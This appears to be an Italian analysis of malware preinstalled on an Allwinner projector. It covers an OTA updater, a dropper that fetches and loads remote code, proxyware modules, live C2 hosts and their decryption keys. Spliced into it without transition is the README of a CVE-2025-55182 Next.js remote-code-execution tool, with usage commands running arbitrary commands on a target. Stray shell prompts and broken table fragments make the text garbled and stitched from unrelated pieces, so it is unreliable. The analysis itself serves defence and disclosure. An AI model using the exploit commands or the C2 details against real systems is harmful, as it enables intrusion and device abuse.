adb shell pm disable-user --user 0 com.toofifi.miracast
adb shell pm disable-user --user 0 com.mphotool.usbcastserver
adb shell pm disable-user --user 0 com.rockchip.devicetest

Ripristina con pm enable --user 0 <package>

  • com.android.toofifi: servizio di screencast principale. Perdi il mirroring dello schermo (casting in stile Miracast/AirPlay) da telefoni e laptop.
  • com.toofifi.lineserver: server di visualizzazione cablato/USB per lo stesso stack, contatta server.mphotool.com:8680 per i controlli di licenza. Perdi la modalità di visualizzazione cablata.
  • com.toofifi.miracast: ricevitore Miracast wireless, chiama server.mphotool.com:8680/MPAPI/System/CheckUpdate e carica i log di utilizzo su mphotool.com/FeituAppLogMgr. Perdi il casting wireless.
  • com.mphotool.usbcastserver: server di cast USB, stesso fornitore. Perdi il supporto al cast USB dal dispositivo.
  • com.rockchip.devicetest: Nessun motivo per essere su un'unità Allwinner.

9. Mappa completa dei componenti

Analisi statica. I sorgenti decompilati grezzi, i moduli .rf decifrati e gli script utilizzati sono conservati in analysis/ (decompiled/, decrypted_modules/, tools/).

9.1 Aggiornamento OTA

com.android.sysapp

Le classi decompilate a.a.b.m/a.a.b.n forniscono la richiesta OTA esatta e letterale:``` POST http://wjtysj.ishanghd.com/hx_kt.php?act=project&do=getPackageInfo &productid=<ro.android.productid, default "74865231"> &device_mode=<persist.sys.cm.dtsmodel, e.g. "AT-M269"> &devices_version=<ro.build.version.incremental> &update_type=1|2 # 1 auto check, 2 forced ("check for update" button)

root@kitploit:~
via Apache `HttpPost` con corpo del form vuoto. Tutto è nella query string, quindi GET e POST sono equivalenti e non c'è firma/token. Riprodotto dal vivo (2026‑09‑26): `{"code":200,"data":[]}`, sembra non avere alcun pacchetto per questo productid, a qualsiasi versione provata.

### 9.2 Dropper

`com.android.umanalytics.yiyou`

**Self-update** (`http.utils.UpdateUtils.checkUpdate`)
`GET http://ty.ishanghd.com/work/app/wj/factory/update.json` fornisce `DownLoadURL` con `MD5` e `VersionCode` che viene scaricato, verificato tramite MD5, `PkgUtils.install(path, 1)` e si auto-sostituisce silenziosamente.

**Recupero di `plugin.jar`** (`MyService`)
`GET http://isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json` fornisce `plugin.jar` che viene scaricato in `<cache>/plugin.jar` caricato con `DexClassLoader`. `com.anlytics.plug.ParserUtils.AnalyticsHelper("test")` è il punto di ingresso.

**Profilo della lista di app per dispositivo**
Queste sono le app personalizzate per ciascun dispositivo nella campagna (probabilmente modificate per aggirare il DRM?)

`com.anlytics.plug.b` identifica la scheda (`ro.board.platform`, `persist.sys.cm.dtsmodel`, `ro.sys.cputype`, `ro.build.version.release`, pacchetti installati, file come `/system/etc/voice.tar.gz`) confrontandola con 40 profili hardcoded e seleziona l'URL `appsinfo/.../infos*.json` adatto dalle costanti in `com.tools.a`.

Questa unità include `com.ashd.launcher10` e riporta `persist.sys.cm.dtsmodel=AT-M269` / scheda `ares` e l'unico profilo H713 "launcher10" nella tabella è:```
http://ty.ishanghd.com/work/app/wj/appsinfo/H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json

Utilizzo

root@kitploit:~
python3 CVE-2025-55182.py -u <URL> -c <COMMAND>

Esempi

root@kitploit:~
# Esegui il comando 'id' su un server vulnerabile
python3 CVE-2025-55182.py -u http://target.com -c "id"

# Esegui un comando personalizzato
python3 CVE-2025-55182.py -u http://target.com -c "whoami"

# Specifica un percorso personalizzato
python3 CVE-2025-55182.py -u http://target.com -c "ls -la" -p /app

Come Funziona

  1. Rilevamento della Versione: Recupera la pagina principale e cerca pattern di versione di React/Next.js
  2. Analisi dell'Endpoint: Tenta di individuare endpoint Server Action comuni
  3. Costruzione del Payload: Crea un payload multipart/form-data con la struttura di exploit nota
  4. Invio dell'Exploit: Invia il payload all'endpoint target
  5. Analisi della Risposta: Cerca indicatori di esecuzione riuscita del comando

Rilevamento

Indicatori di Compromissione

  • Richieste POST verso endpoint Server Action con header Next-Action
  • Payload multipart contenenti $ACTION_ID_ o pattern simili
  • Richieste con header Next-Action insoliti
  • Tentativi di esecuzione di comandi negli endpoint Server Action

Regole di Rilevamento

root@kitploit:~
# Esempio di regola Sigma
title: Tentativo di Exploit CVE-2025-55182 React Server Components
detection:
  selection:
    cs-method: 'POST'
    cs-uri-query|contains: 
      - 'Next-Action'
  condition: selection

Mitigazione

Azioni Immediate

  1. Aggiorna React/Next.js alle versioni più recenti patchate
  2. Disabilita Server Actions se non utilizzate
  3. Implementa WAF con regole per rilevare pattern di exploit
  4. Monitora i log per attività sospette

Mitigazione a Lungo Termine

  1. Audit delle Server Actions per input non attendibile
  2. Implementa validazione degli input su tutti gli endpoint
  3. Utilizza il principio del minimo privilegio per i processi del server
  4. Aggiornamenti regolari delle dipendenze

Riferimenti

  • CVE-2025-55182
  • Documentazione React Server Components
  • Guida alla Sicurezza di Next.js

Dichiarazione di Non Responsabilità

Questo strumento è fornito solo a scopo educativo e di ricerca sulla sicurezza. Gli autori non sono responsabili per qualsiasi uso improprio o danno causato da questo software. Utilizza solo su sistemi di tua proprietà o per cui hai un'autorizzazione esplicita a testare.

Licenza

Questo progetto è concesso in licenza sotto la Licenza MIT - consulta il file LICENSE per i dettagli.

Riconoscimenti

  • Ringraziamenti alla comunità di ricerca sulla sicurezza per la divulgazione responsabile
  • Riferimenti alle patch ufficiali di React e Next.js```json date 20240819 description "1、优化网络访问\n2、增强系统稳定性。" appInfos 0 appVersionCode 425 appName "uninstall" appPkgName "com.netflix.ninja" appMd5 "3D3EC4CAA09F68170EB0ADC5A92AC018" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/rk3326/Netflix_425.apk" 1 appVersionCode 84 appName "launcher10" appPkgName "com.ashd.launcher10" appMd5 "3AA639AE6850189EB8EB4B288AFAD70A" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/H713/Launcher10_HY300_1.84.apk" 2 appVersionCode 3 appName "platinum" appPkgName "com.allwinnertech.platinum.media" appMd5 "5DA2127B3D0E983D96C16F5960CFE5E0" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/H713/PlatinumMediaDLNA.apk"
root@kitploit:~
**Elenco completo di 40 URL di profilo**
Ciascuno è probabilmente una famiglia di dispositivi vittima sotto la stessa campagna:```
infos.json
TEST/infos.json
infos_qp.json
infos_lm.json
infos_wy.json
infos_wy_fj600.json
infos_set.json
infos_ydd3128.json
WANYING_test/infos.json
YBS_ASOS/infos.json
YDN2_YIUI_RX480P/infos.json
YINGKE_CC720P/infos_0208.json
YINGKE_CC720P/infos_ZG_0315.json
YINGKE_CC720P/infos_0313.json
YINGKE_CC720P/infos_0504.json
SAIER_RK3326_DV381_YIUI/infos.json
SAIER_RK3326_DV381_YIUI_C1PRO/infos.json
rk3326_ASHD/Q3/infos.json  H713/N1/infos.json
rk3326/HY300A/infos.json
rk3326/Saier_zhixiang_0326/infos.json  YKK_3326_YIUI/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_OLD/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_DSN/infos.json
rk3326_ASHD/RK3326_HY300A_YM_SUR269_AHW/infos_dsn.json
rk3326/HY300A_GBPT_HP265013_AHW/infos_0611.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW/infos_dsn.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW_OLDNFX/infos.json
rk3326_ASHD/BNX_TXD265_AHW_3+64_Lingbo/infos2.json
rk3326_ASHD/RK3326_GBPT_720P_CAOYING/infos.json
rk3326_ASHD/RK3326_GBPT_LAUNCHER10/infos.json
rk3326_ASHD/RK3326_HY300A_JUYING1_8_HP265013_AHW/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos.json
H713_ASHD/H713_HY300A_720P_YIRUO/infos_0304.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_1207.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_0221.json
H713_ASHD/H713M_HY300PRO_MAX_HP269006_BAT/infos_1220.json
H713_ASHD/H713M_HY300A_VIEW_0304/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_0318.json
H713_ASHD/H713_SKW/infos.json
H713_ASHD/H713_NEFHELP/infos.json
H713_ASHD/DSN/infos.json
rk3326_ASHD/DSN/infos.json
rk3326_ASHD/RK3326_AD/infos_ad_asos.json
H713_ASHD/H713_HY300_HIFI/infos.json
H713_ASHD/H713M_HY300_A/infos_F8.json
H713_ASHD/H713M_TENPLUS_0625/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json
Hisi352_ASHD/TS-6/infos_0730.json
H723_ASHD/H723_T1Pro/infos_0618.json

Ogni infos*.json elenca le app da pm install -r (payload com.google.adtest + app di copertura come Disney+) come descritto al punto 3..

9.3 plugin.jar

Cifratura host C2 com.hs.p.basic.Hosts/EncryptUtils Ogni stringa host è AES/CFB/NoPadding (chiave MD5("ota.host.a46780a24111f056d95f955462606901"), IV "0102030405060708"), compressa con gzip, poi base64:

  • API_MASTER_HOSTS: https://api.loritor.cc/
  • TRACKER_SLAVE_HOSTS: https://api.loritor.cc/
  • API_SLAVE_HOSTS: https://api.nizero.cc/
  • TRACKER_MASTER_HOSTS: https://api.nizero.cc/ (priorità invertita rispetto al canale API?)

Sia loritor.cc che nizero.cc sembravano non raggiungibili al momento di questo test.

Percorsi API task/config GetTaskApi, GetConfigApi POST <host>/0x01/ov/x1 (config: finestre silenziose, toggle log, push della lista host, periodo di polling) e POST <host>/0x01/ov/x2 (lista task: jars[]/dexs[]/apks[] paginati con cursore, ciascuno con file_url/file_md5/vercode/task_id). Il campo "data" del corpo della risposta è cifrato allo stesso modo, chiave "ota.api.d3b194c07b63d688969c258719ca3f0f".

Formato modulo .rf Decifrando tutti e quattro i moduli che ho con firme DSA valide: [4B version][4096B pad][32B salt][4B+N invocation AES-CFB][4B+N module AES-CFB][4B+N DSA sig].

Chiave AES = MD5("968a84be78d3421d5e771147dce2b766" + salt), stesso IV fisso di sopra.

La chiave pubblica DSA è hardcoded (1024-bit, incorporata in DexManager/JarExe). Il testo in chiaro è uno ZIP/APK, non un dex grezzo.``` SKN0041: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0017","m_uninit":"stop"} SKN0054: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0028","m_uninit":"stop"} SKN0058: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0032","m_uninit":"stop"} SKN0061: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0035","m_uninit":"stop"}

root@kitploit:~
### 9.4 com.ad.proxy

`SKN0041`

La voce `MainApi.start_W0017` avvia il client `Robin`. Due endpoint HTTP(S) in chiaro, `channel`/`version` forniti da chiunque abbia invocato il modulo:```
GET  https://api.kookjar.com/signin?uuid=<uuid>&channel=<channel>&version=<version>
# (debug build: http://152.32.240.141 same paths)
POST https://api.kookjar.com/report?uuid=<uuid>&channel=<channel>&version=<version>
     body: {"gateway_list":[{"host":..,"port":..,"status":..}, ...]}
     # reports back which proxy gateways it reached

9.5 com.szns.sdk

SKN0054

Le stringhe di dominio/IP qui sono offuscate: Base64→XOR(chiave fissa) > XOR(risultato precedente) > XOR derivato da MD5 > Base64 > gzip nella classe com.szns.sdk.t.

Replicato l'algoritmo esatto (analysis/tools/decode_szns_t.py) e decifrati tutti e quattro gli endpoint di bootstrap hardcoded:``` ac.a() -> https://hgsdkszns.com ac.b() -> http://dporder.midrouterx.com/api/dispatch (state 1: fetch "domain_info", cached 24h) ac.c() -> https://seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico (state 3: OSS bootstrap; body is a plain URL: "http://dporder.midrouterx.com/api/dispatchByOss") ac.d() -> 43.173.127.241:9090 (state 5: "ip_tcp_info" bootstrap)

root@kitploit:~
Se non è presente un URL di dispatch in cache (stato 7):
Scansione UDP di `43.153.12.1` - `43.153.80.100:8080`

Invio del payload ASCII letterale `"moon2"`, in attesa di una qualsiasi risposta che inizi con `http`. Questa risposta diventa l'URL di dispatch.

Ogni richiesta di bootstrap è `POST <url>` con i campi form `{"operator":<c>,"c":"moon2","name":<d>}` in `com.szns.sdk.x`.

Qualunque URL di dispatch venga risolto riceve poi in POST gli stessi campi e restituisce la lista reale dei gateway, cifrata come `AES/CBC/PKCS5` (chiave `"5360e2884c119aa32a767ceb1c0889b0"`, IV casuale, envelope `base64(iv):base64(ciphertext)`)

Formato JSON decifrato: `{"data":{"schedule":N,"thread":N,"heartbeat":N,"st":N,"node":[{"connect":"host:port","proxy":"host:port"}, ...]}}`.

### 9.6. com.link.core

`SKN0058 `

Gateway singolo hardcoded, nessun livello di discovery: `com.link.core.a.g` → `["api.eviceh.cc:16000"]`. Resolver DNS usati per le proprie risoluzioni: `8.8.8.8`, `9.9.9.9`, `1.1.1.1`, `1.0.0.1`. Legge `/proc/cpuinfo` e `/sys/class/net/{eth0,wlan0}/address` per il fingerprinting del dispositivo.

### 9.7. ddth2 (VpsSdk)

`SKN0061`

Pool di gateway hardcoded, `ddth2.hidden.o`: domini `dw4y.mmavlino.com`, `zx8c.llvyomi.net`, `zxn5.p2f7mjhv.eu.cc`, IP `45.43.57.99`, `165.154.135.52`.

Un protocollo TCP binario personalizzato persistente:

- connect
- handshake `REGISTER`/`REGISTER_ACK` (header di frame da 8 byte, opcode+length)
- il gateway invia poi comandi di connessione (`{host, port}`
- filtrati rispetto a range privati/loopback/multicast che generano socket proxati per sessione, spiegando le "molte istanze client parallele".

### 9.8. com.google.adtest

o `com.fotas.wanapp ("com.speed")`

Il vero nome del pacchetto interno è `com.fotas.wanapp` (classe App `com.fotas.wanapp.APP`). `onCreate()` configura tre host con lo stesso schema master/slave/random di `plugin.jar`:```
master -> https://api.pechlo.cc/
slave  -> https://api.logobi.cc/
random -> https://random.vivosoc.cc/

Il check-in del dispositivo avviene tramite POST https://codedevapp.com/api/v1/device/dau.

Vengono avviati due servizi:

  • com.google.android.AdService
  • com.google.android.BakService

Sonda in modo riflessivo e inizializza una classe opzionale com.fotas.wanapp.ChannelSdkInit se presente. Stringhe dell'app id: "wanapp", "WAN_AISHANG_001".

9.9. Istantanea dello stato live (2026-09-26)

Verifica di raggiungibilità in sola lettura da un host indipendente (nessun protocollo/payload proxy inviato, nessuna interazione con il proiettore stesso):

10. URL

11. Altro

Opzioni sviluppatore:

  1. Deviceversion.onKeyDown (schermata "Device info" delle Impostazioni) attende un codice in stile Konami, Su Su Giù Giù Sinistra Sinistra Destra Destra Centro Centro, che tenta di aprire le opzioni sviluppatore. Nel mio caso non ha funzionato.
  2. Su Giù Sinistra Destra Centro tenta di avviare com.konka.readmain.MainActivity, un'app di test di fabbrica OEM non correlata che in realtà non è installata su questa unità. Idem, non ha funzionato.``` adb shell am start -n com.ashd.settings/com.rk_itvui.settings.deviceversion.Deviceversion adb shell input keyevent 19 adb shell input keyevent 19 adb shell input keyevent 20 adb shell input keyevent 20 adb shell input keyevent 21 adb shell input keyevent 21 adb shell input keyevent 22 adb shell input keyevent 22 adb shell input keyevent 23 adb shell input keyevent 23
root@kitploit:~
Scarica lo strumento
TermineCosa faLAN
NetworkInterface (adtest, plugin, SKN0061)Legge l'IP e il MAC del dispositivo per l'ID del botNo
DatagramSocket in SKN0041Relay UDP per le sessioni proxy verso il gatewayNo
DatagramSocket in SKN0054Scoperta C2: scansiona 43.153.12-80.1-100:8080 (range cloud pubblico)No
ServerSocket in plugin.jarServer di re-streaming video, vedi sottoNo
Chiamate a Runtime.exec (yiyou, plugin.jar, adtest, SKN0041/54/58/61)Interni di SDK di terze parti, chmod 777 su file locali, su/pm/dumpsys per controlli sull'app in primo piano o root e ping emesso dall'operatore in SKN0041Solo comando ping
UPnP, mDNS/NSD, SSDP, WiFi Direct, calcoli ARP/subnet, ADB 5555, telnetnessunoNo
systemmixservice / libsystemmixservice.so / libsystemmix_jni.soServizio OEM solo Binder: get/set di proprietà, lettura/scrittura/cancellazione di file raw, mount/umount, boot logo/animation. Nessun simbolo socket/bind/connect/listen/accept in nessuno dei due binariNo
qwDaemon su di Superuser/ClockworkMod. Solo percorsi di socket di dominio Unix nelle sue stringhe (/dev/com.koushikdutta.superuser[.daemon]), nessun IP letterale, nessun AF_INETNo
com.android.nfx (NFXAccessibility)Helper per la navigazione D-pad di Netflix, attivo solo mentre com.netflix.mediaclient è in primo piano. Il manifest non ha alcun permesso INTERNETNo
// SKN0054 com/szns/sdk/t.java - refuses private and loopback targets, IPv4 dotted-decimal only
str.equals("0.0.0.0")str.matches("^10\..*")
HostRisultato DNS / connessioneNote
api.loritor.cc, api.nizero.ccrisolve (Cloudflare), HTTP 404 su /attivo; i percorsi reali sono /0x01/ov/x1, /0x01/ov/x2
api.kookjar.comrisolve (Cloudflare, 172.67.159.65), HTTP 204attivo
152.32.240.141 (fallback di debug SKN0041)timeout TCP/80non raggiungibile; comunque percorso solo di debug, la produzione usa api.kookjar.com
dporder.midrouterx.comrisolve diretto (43.174.196.241, Tencent Cloud), HTTP 200 su /api/dispatchattivo
seed-info.oss-ap-southeast-1.aliyuncs.comrisolve (47.79.49.170, Alibaba Cloud SG), HTTP 200, serve favorite.icoattivo
hgsdkszns.comrisolve (Cloudflare)DNS attivo; sonda HTTPS semplice resettata (ramo inutilizzato nella build corrente, vedi 10.5)
43.173.127.241:9090la connessione TCP raw riesceattivo, in ascolto proprio ora
api.eviceh.cc:16000risolve (152.53.83.204)DNS attivo, TCP/16000 rifiutato al momento della verifica (gateway non attualmente in ascolto)
dw4y.mmavlino.com / zx8c.llvyomi.net / zxn5.p2f7mjhv.eu.cc / 45.43.57.99 / 165.154.135.52non ricontrollati in questo passaggiovedi sezione 11
api.pechlo.cc, api.logobi.ccrisolvono (Cloudflare), HTTP 404 su /attivi
random.vivosoc.ccnessun record DNSsembra morto/scaduto
codedevapp.comrisolve (5.161.41.216, Hetzner)attivo; /api/v1/device/dau è solo POST quindi un semplice GET si interrompe
Host / URLComponenteRuolo
ishanghd.com, ty.ishanghd.com, isdownload.ishanghd.com, wjtysj.ishanghd.comsysapp, yiyoudominio backend OEM principale
wjtysj.ishanghd.com/hx_kt.phpsysapp (AshdSysApp)C2 dell'updater OTA (act=project&do=getPackageInfo)
ty.ishanghd.com/work/app/wj/factory/update.jsonyiyoupuntatore all'auto-aggiornamento del dropper
ty.ishanghd.com/work/app/wj/appsinfo/* (40 percorsi, vedi sopra)yiyouliste di payload/app per famiglia di dispositivo (target di pm install -r)
isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.jsonyiyoupuntatore al recupero di plugin.jar
isdownload.ishanghd.com/work/app/wj/plugin/plugin/2026082800/plugin.jaryiyoupayload effettivo plugin.jar (percorso versionato, cambia nel tempo)
isdownload.ishanghd.com/work/app/wj/app/rk3326/L3.zipplugin.jarbundle di chiavi/licenze DRM Widevine L3, depositato affinché le app di streaming funzionino sul dispositivo non certificato
api.loritor.cc, api.nizero.ccplugin.jar ("hs")API di task/config (/0x01/ov/x1, /0x01/ov/x2), sia come canale API (master/slave) sia come canale tracker (slave/master invertiti)
api.kookjar.com (+ 152.32.240.141 debug)SKN0041/signin, /report
api.eviceh.cc:16000SKN0058unico gateway
hgsdkszns.comSKN0054host di bootstrap aggiuntivo hardcoded (ramo inutilizzato nella build corrente)
dporder.midrouterx.com/api/dispatch (+ /api/dispatchByOss, raggiunto tramite il bootstrap OSS sottostante)SKN0054bootstrap di dispatch primario
seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.icoSKN0054redirector di bootstrap ospitato su OSS (Alibaba Cloud OSS)
seed-1303252866.cos.na-siliconvalley.myqcloud.com/favorite.icoSKN0054mirror di backup Tencent COS della stessa configurazione di bootstrap
43.173.127.241:9090SKN0054host di bootstrap ip_tcp_info (porta esatta confermata, live)
43.135.136.224SKN0054gateway di dispatch osservato live (tcp/7788 /api/dispatch, tcp/9090)
43.159.148.198SKN0054endpoint gateway/server-list osservato live, /dp/getServer (probabilmente restituito dinamicamente all'interno della lista cifrata node[])
43.130.60.175SKN0054nodo gateway proxy aggiuntivo (tcp/9090), osservato live
43.153.12.1–43.153.80.100:8080 (UDP)SKN0054scansione di discovery; il payload della sonda è l'ASCII letterale moon2
dw4y.mmavlino.com, zx8c.llvyomi.net, zxn5.p2f7mjhv.eu.cc, 45.43.57.99, 165.154.135.52SKN0061pool di gateway, protocollo proxy TCP personalizzato
api.pechlo.cc, api.logobi.cc, random.vivosoc.cccom.speed / com.fotas.wanappC2 master/slave/random
codedevapp.com/api/v1/device/daucom.speed / com.fotas.wanappcheck-in del dispositivo
live.sz-cloudmedia.com:8080/ota/OTA legacy (variante sysapp più vecchia/parallela)vicolo cieco, il dominio non ha registrazione ICP, Alibaba lo blocca.
ulogs.umeng.com, ulogs.umengcloud.com, alogus.umeng.com, alogsus.umeng.com, ouplog.umeng.com, plbslog.umeng.comyiyou (Umeng SDK)telemetria analytics di terze parti, che trasporta le impronte del dispositivo (seriale, MAC, SSID/BSSID) raccolte dall'app yiyou
hmma.baidu.com, datax.baidu.com, dxp.baidu.com, openrcv.baidu.comyiyou (Baidu Mobile Stats SDK)stesso ruolo di telemetria, tramite Baidu
cmnsguider.yunos.com, ip.taobao.com, g3.le.comyiyouservizi Alibaba/Yunos di device-token e lookup IP pubblico usati per il fingerprinting